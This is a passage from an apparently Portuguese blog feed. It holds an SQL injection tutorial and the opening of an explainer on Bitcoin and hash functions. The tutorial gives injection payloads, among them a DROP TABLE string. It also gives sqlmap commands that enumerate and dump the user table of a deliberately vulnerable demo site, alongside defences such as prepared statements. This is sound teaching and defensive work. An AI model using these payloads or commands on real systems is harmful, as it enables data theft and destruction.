&lt;p&gt;Agora iremos injetar um comando que queremos que seja executado, algo que o programa original não estava preparado para receber. Vamos escrever &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AÇÚCAR E PULAR DA JANELA&lt;/code&gt;. O resultado? Bem, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COMPRAR AÇÚCAR E PULAR DA JANELA&lt;/code&gt;. Talvez uma pessoa seja razoável o suficiente para não seguir esse conselho, mas uma mente robótica não pensaria duas vezes.&lt;/p&gt;

&lt;h2 id=&quot;exemplos-de-injection-em-query&quot;&gt;Exemplos de Injection em Query&lt;/h2&gt;

&lt;p&gt;Mesmo que Injection valha para diversos tipos de aplicações e banco de dados, vamos dar uma olhada no SQL (Structured Query Language). Tomemos por exemplo uma query simples de busca:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tabela_usuarios&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usuario&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Essa busca retorna todas as colunas da &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tabela_usuarios&lt;/code&gt; com nome de usuário igual à ‘’ (vazio). No entanto, esse nome de usuário pode vir de uma outra função, como uma caixa de busca preenchida pelo usuário. É comum em muitas implementações as pessoas formarem o query SQL de forma dinâmica, a partir da união de várias strings. Tomemos por exemplo uma implementação rápida em PHP:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT * from tabela_usuarios&quot;&lt;/span&gt; 
       &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;WHERE usuario=&apos;&quot;&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$usuario&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mysql_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Embora essa implementação funcione, ela é facilmente quebrável. Basta, por exemplo, digitar o caractere &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;&lt;/code&gt; na variável &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$usuario&lt;/code&gt;. O resultado será:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tabela_usuarios&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usuario&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;; 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;O que gerará um erro interno no programa, pois a segunda aspa fecha a primeira, mas a terceira não é fechada. Isso geraria um erro interno no programa que deve ser tratado, e nunca exibido para o usuário como muitos sites vulneráveis fazem. Podemos, no entanto, inserir coisas mais interessantes como &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos; OR &apos;1&apos;=&apos;1&lt;/code&gt;. O resultado disso será:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tabela_usuarios&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usuario&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;1&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Que não só é uma query válida, como retorna todo o conteúdo de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tabela_usuarios&lt;/code&gt;, pois a condição &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;1&apos;=&apos;1&apos;&lt;/code&gt; é sempre satisfeita. Já de cara é possível perceber como essa vulnerabilidade é perigosa. Bastaria uma simples busca com a string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;; DROP TABLE tabela_usuarios; --&lt;/code&gt; para que a tabela atual fosse completamente removida, já que os dois traços funcionam como comentário no SQL.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tabela_usuarios&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usuario&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;DROP&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;TABLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tabela_usuarios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;--&apos;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;se-protegendo-de-sql-injection&quot;&gt;Se protegendo de SQL Injection&lt;/h2&gt;

&lt;p&gt;Não tem jeito: de uma forma ou de outra, se você trabalha com banco de dados, suas aplicações terão que tratar das entradas do usuário, processo conhecido como &lt;em&gt;sanitizing&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://imgs.xkcd.com/comics/exploits_of_a_mom.png&quot; alt=&quot;xcdc&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A OWASP divulga um &lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet&quot;&gt;manual de métodos de defesa contra SQLi&lt;/a&gt;. Sumarizando, existem três formas principais de proteção:&lt;/p&gt;

&lt;h3 id=&quot;utilizar-métodos-prontos-da-linguagem&quot;&gt;Utilizar métodos prontos da linguagem&lt;/h3&gt;

&lt;p&gt;Essa é uma metodologia eficaz e muito simples de ser implementada, e deveria ser como todos os programadores aprendem SQL. Ela implica em primeiro escrever todo o código SQL, para depois passar cada parâmetro individualmente. Os campos que devem ser substituídos são formados com wildcards, como o &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt;, e depois são substituídos pelas variáveis dentro da função, que já faz as verificações necessárias. Tomemos por exemplo a seguinte implementação em Java do primeiro exemplo:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SELECT * FROM tabela_usuarias WHERE usuario = ? &quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
  
&lt;span class=&quot;nc&quot;&gt;PreparedStatement&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pstmt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;prepareStatement&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pstmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;setString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myusuario&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nessa ocasião, mesmo que o input tivesse caracteres estranhos como o &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;&lt;/code&gt;, a busca seria literal, ou seja, a query buscaria uma aspa armazenada no banco de dados.&lt;/p&gt;

&lt;h3 id=&quot;validar-dados-de-entrada-manualmente-whitelist&quot;&gt;Validar dados de entrada manualmente (whitelist)&lt;/h3&gt;

&lt;p&gt;Essa técnica basicamente visa eliminar os vetores de ataque recusando queries com caracteres suspeitos. Exemplos desse tipo de queries são strings de entrada contendo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1=1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; ou mesmo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;&lt;/code&gt;, salvo nos casos onde esses caracteres são legítimos, como apóstrofos em nomes. &lt;strong&gt;Validar a entrada é um método recomendado mesmo quando outros métodos de proteção são utilizados&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Outra forma de validar dados de entrada de forma automatizada é utilizar &lt;strong&gt;Web Application Firewalls&lt;/strong&gt;, ou &lt;strong&gt;WAFs&lt;/strong&gt;. O problema com eles, embora sirvam para bloquear grande parte das query maliciosas, é que eles também podem ser enganados, levando a falsos positivos ou, pior, à falsos negativos. Além disso, eles impactam a performance da aplicação pois precisam processar todos os pacotes recebidos.&lt;/p&gt;

&lt;h3 id=&quot;escapar-dados-de-entrada&quot;&gt;Escapar dados de entrada&lt;/h3&gt;

&lt;p&gt;Consiste em converter dados de entrada em caracteres que não causam problemas. O MySQL, por exemplo, suporta as seguintes conversões:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; NUL (0x00) --&amp;gt; \0
 BS  (0x08) --&amp;gt; \b
 TAB (0x09) --&amp;gt; \t
 LF  (0x0a) --&amp;gt; \n
 CR  (0x0d) --&amp;gt; \r
 SUB (0x1a) --&amp;gt; \Z
 &quot;   (0x22) --&amp;gt; \&quot;
 %   (0x25) --&amp;gt; \%
 &apos;   (0x27) --&amp;gt; \&apos;
 \   (0x5c) --&amp;gt; \\
 _   (0x5f) --&amp;gt; \_ 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;testando-suas-aplicações&quot;&gt;Testando suas aplicações&lt;/h2&gt;

&lt;p&gt;Por muitas vezes é difícil testar suas aplicações para todos os vetores de ataque e todos os formulários existentes. Por isso, existem ferramentas automatizadas para teste das aplicações que fazem milhares de testes por segundo. Vamos utilizar o &lt;a href=&quot;http://sqlmap.org/&quot;&gt;&lt;strong&gt;sqlmap&lt;/strong&gt;&lt;/a&gt;. O site alvo será o &lt;a href=&quot;https://hackyourselffirst.troyhunt.com&quot;&gt;Hackyourselffirst&lt;/a&gt;, um site dedicado a mostrar esse tipo de vulnerabilidade.&lt;/p&gt;

&lt;p&gt;Uma análise inicial mostra que a página utiliza requisições do tipo GET, que provavelmente são dados como instruções ao banco de dados, como na variável &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;orderby&lt;/code&gt;, diretamente no URL.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://hackyourselffirst.troyhunt.com/Make/1?orderby=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vamos tentar passar um caractere proibido como o &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;&lt;/code&gt; e ver como site responde.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://hackyourselffirst.troyhunt.com/Make/1?orderby=&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://cloud.githubusercontent.com/assets/8211602/26791649/20b548ca-49ee-11e7-8642-8a3d16e50f91.png&quot; style=&quot;width: 100%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Um bom sinal! Os erros não são tratados e pior, são mostrados imediatamente ao usuário, o que significa que a aplicação pode ser vulnerável. Vamos rodar o &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap&quot;&gt;&lt;strong&gt;sqlmap&lt;/strong&gt;&lt;/a&gt; e tentar explorar essa variável. Primeiro, vamos enumerar os bancos da vítima:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./sqlmap.py &lt;span class=&quot;nt&quot;&gt;--url&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--dbs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;E então ele começa a trabalhar, rodando um teste automatizado que enumera os bancos.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/8211602/33934197-47c0c688-dfdf-11e7-809d-8c1f2d5b7164.png&quot; style=&quot;width: 100%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;E, como em um passe de mágica, ele nos retorna a estrutura do bancos de dados!&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[08:17:00] [INFO] retrieved: hackyourselffirst_db
[08:17:01] [INFO] retrieved: master
[08:17:01] [INFO] retrieved: tempdb
[08:17:02] [INFO] retrieved:  
available databases [3]:
[*] hackyourselffirst_db
[*] master
[*] tempdb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Agora que já sabemos qual o banco que vamos atacar, precisamos enumerar as tabelas:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./sqlmap.py &lt;span class=&quot;nt&quot;&gt;--url&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; hackyourselffirst_db &lt;span class=&quot;nt&quot;&gt;--tables&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;E voalá:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[08:30:19] [INFO] fetching tables for database: hackyourselffirst_db
[08:30:19] [INFO] the SQL query used returns 11 entries
[08:30:20] [INFO] retrieved: dbo.Make
[08:30:20] [INFO] retrieved: dbo.Supercar
[08:30:21] [INFO] retrieved: dbo.UserProfile
[08:30:21] [INFO] retrieved: dbo.Vote
[08:30:22] [INFO] retrieved: dbo.webpages_Membership
[08:30:22] [INFO] retrieved: dbo.webpages_OAuthMembership
[08:30:23] [INFO] retrieved: dbo.webpages_Roles
[08:30:23] [INFO] retrieved: dbo.webpages_UsersInRoles
[08:30:24] [INFO] retrieved: sys.database_firewall_rules
[08:30:24] [INFO] retrieved: sys.script_deployment_status
[08:30:25] [INFO] retrieved: sys.script_deployments
Database: hackyourselffirst_db
[11 tables]
+------------------------------+
| Make                         |
| Supercar                     |
| UserProfile                  |
| Vote                         |
| webpages_Membership          |
| webpages_OAuthMembership     |
| webpages_Roles               |
| webpages_UsersInRoles        |
| sys.database_firewall_rules  |
| sys.script_deployment_status |
| sys.script_deployments       |
+------------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vamos selecionar uma tabela com informações sensitivas, que costumam ser as mais vulneráveis para as empresas porque contém informações de clientes. A tabela &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserProfile&lt;/code&gt; parece ser promissora!&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./sqlmap.py &lt;span class=&quot;nt&quot;&gt;--url&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; hackyourselffirst_db &lt;span class=&quot;nt&quot;&gt;-T&lt;/span&gt; UserProfile &lt;span class=&quot;nt&quot;&gt;--columns&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;E, como esperado, essa tabela contém informações relevantes dos usuários:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[08:33:21] [INFO] retrieved: Email
[08:33:21] [INFO] retrieved: nvarchar
[08:33:22] [INFO] retrieved: FirstName
[08:33:23] [INFO] retrieved: nvarchar
[08:33:23] [INFO] retrieved: IsAdmin
[08:33:24] [INFO] retrieved: bit
[08:33:24] [INFO] retrieved: LastName
[08:33:25] [INFO] retrieved: nvarchar
[08:33:26] [INFO] retrieved: Password
[08:33:26] [INFO] retrieved: nvarchar
[08:33:27] [INFO] retrieved: UserId
[08:33:27] [INFO] retrieved: int
Database: hackyourselffirst_db
Table: UserProfile
[6 columns]
+-----------+----------+
| Column    | Type     |
+-----------+----------+
| Email     | nvarchar |
| FirstName | nvarchar |
| IsAdmin   | bit      |
| LastName  | nvarchar |
| Password  | nvarchar |
| UserId    | int      |
+-----------+----------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Por fim, vamos fazer um dump de toda a tabela de usuários (porque não?):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./sqlmap.py &lt;span class=&quot;nt&quot;&gt;--url&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; hackyourselffirst_db &lt;span class=&quot;nt&quot;&gt;-T&lt;/span&gt; UserProfile &lt;span class=&quot;nt&quot;&gt;--dump&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;E toda a tabela agora é nossa:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/8211602/33935028-ae631146-dfe1-11e7-80d6-ccb9f235e84e.png&quot; style=&quot;width: 100%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Agora imagine o que isso implicaria para um site que lida com informações como números de cartões. &lt;strong&gt;Em cinco minutos, todos os dados de todos os usuários poderiam ser obtidos por alguém copiando e colando comandos na tela do computador.&lt;/strong&gt; Por isso é tão importante que as empresas tenham o cuidado de manter seus websites sempre seguros. O principal problema aqui é que, caso o administrados não mantivesse ou não prestassem atenção nos logs do seu serviço, ele provavelmente nem saberia que todos os seus dados foram roubados.&lt;/p&gt;

&lt;p&gt;Então lembrem-se. &lt;strong&gt;Sempre validem os dados dos usuários!&lt;/strong&gt;&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>O Universo Bitcoin</title>
   <link href="https://bvanelli.github.io/2017/04/23/universo-bitcoin/"/>
   <updated>2017-04-23T00:00:00+00:00</updated>
   <id>https://bvanelli.github.io/2017/04/23/universo-bitcoin</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Esse artigo tem o intuito de explicar o funcionamento das criptomoedas, em especial a mais famosa delas: o &lt;a href=&quot;https://www.bitcoin.com/&quot;&gt;Bitcoin&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#introdução&quot; id=&quot;markdown-toc-introdução&quot;&gt;Introdução&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#funções-hash&quot; id=&quot;markdown-toc-funções-hash&quot;&gt;Funções Hash&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conceito-de-transação&quot; id=&quot;markdown-toc-conceito-de-transação&quot;&gt;Conceito de Transação&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#bloco&quot; id=&quot;markdown-toc-bloco&quot;&gt;Bloco&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#blockchain-cadeia-de-blocos&quot; id=&quot;markdown-toc-blockchain-cadeia-de-blocos&quot;&gt;Blockchain (Cadeia de Blocos)&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#dificuldade-com-o-tempo&quot; id=&quot;markdown-toc-dificuldade-com-o-tempo&quot;&gt;Dificuldade com o tempo&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#proteção-contra-fraude&quot; id=&quot;markdown-toc-proteção-contra-fraude&quot;&gt;Proteção contra fraude&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#porque-minerar&quot; id=&quot;markdown-toc-porque-minerar&quot;&gt;Porque minerar?&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#anonimato&quot; id=&quot;markdown-toc-anonimato&quot;&gt;Anonimato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dogecoin&quot; id=&quot;markdown-toc-dogecoin&quot;&gt;Dogecoin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusões&quot; id=&quot;markdown-toc-conclusões&quot;&gt;Conclusões&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;

&lt;h2 id=&quot;introdução&quot;&gt;Introdução&lt;/h2&gt;

&lt;p&gt;A primeira ideia de criptomoeda descentralizada surgiu em 2008 em um pequeno artigo de Satoshi Nakamoto intitulado &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot;&gt;“Bitcoin: A peer-to-peer electronic cash system”&lt;/a&gt;. Embora ninguém realmente saiba a identidade verdadeira de Nakamoto, seu artigo de apenas 9 páginas revolucionou o mundo das moedas digitais.&lt;/p&gt;

&lt;p&gt;A ideia geral das criptomoedas é bem simples: manter todas as transações e carteiras seguras através de criptografia, fazendo com que só você tenha acesso à sua carteira e só você posso gastar suas criptomoedas. Em palavras mais simples, o sistema não é baseado em confiança, e sim em prova criptográfica.&lt;/p&gt;

&lt;p&gt;Em palavras ainda mais simples: ao realizar um pagamento, há uma relação de confiança. Geralmente, se confia no banco utilizado como terceiro elemento para intermediar o pagamento. Nesse caso, o banco é responsável por ficar com seu dinheiro e mover de conta em conta. É necessário que ambas as partes confiem em uma terceira entidade, como um banco, para que ambos tenham a certeza que seu dinheiro chegará em segurança.&lt;/p&gt;

&lt;p&gt;Mas isso mudou em 31 de outubro de 2008, com a introdução de um sistema capaz de, através de criptografia, permitir transações sem a necessidade de terceiros. E esse é um serviço comunitário, e que pode ser verificado por qualquer: para que uma transação seja aceita, ela tem que ser adicionada à algum bloco, e é aí que entram os mineradores de Bitcoin, trabalhando para manter os blocos consistentes.&lt;/p&gt;

&lt;p&gt;Para primeiro entender como isso é feito, deve-se entender o que é uma &lt;strong&gt;função hash&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;funções-hash&quot;&gt;Funções Hash&lt;/h2&gt;

&lt;p&gt;A função hash, em poucas palavras, é uma função matemática não reversível que gera uma saída de tamanho fixo para uma determinada entrada.&lt;/p&gt;

&lt;p&gt;Um exemplo bem simples de função hash que transforma um número decimal em um outro de tamanho unitário é somar todos os algarismos e calcular o resto da divisão por 10. Nesse contexto, aplicar a nossa função hash no número &lt;strong&gt;403&lt;/strong&gt; gera &lt;strong&gt;7&lt;/strong&gt;, pois é &lt;strong&gt;4 + 0 + 3 = 7&lt;/strong&gt;, e o resto dessa divisão por 10 é &lt;strong&gt;7&lt;/strong&gt;. Se aplicado a &lt;strong&gt;5454&lt;/strong&gt;, a função hash é &lt;strong&gt;8&lt;/strong&gt;, pois &lt;strong&gt;5 + 4 + 5 + 4 = 18&lt;/strong&gt;, e o resto da divisão por 10 é &lt;strong&gt;8&lt;/strong&gt;. Note que essa função não é reversível: não existe meio de se obter o número original através do valor hash, pois parte da informação é perdida no processo.&lt;/p&gt;

&lt;p&gt;Uma função hash tem diversos usos, mas geralmente algumas propriedades são esperadas, como:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Determinismo&lt;/strong&gt;, onde um valor sempre gera a mesma hash.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Distribuição uniforme&lt;/strong&gt;, de forma que o resultado seja pseudo-aleatório e com iguais probabilidades para qualquer resultado.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Rápida de ser gerada&lt;/strong&gt;, mas não tão rápida que possa ser computada aos milhares facilmente.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Irreversível&lt;/strong&gt;, sendo impraticável computacionalmente de achar a entrada original a partir da hash.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Não-colisão&lt;/strong&gt;, sendo impraticável achar duas entradas com a mesma hash.&lt;/li&gt;
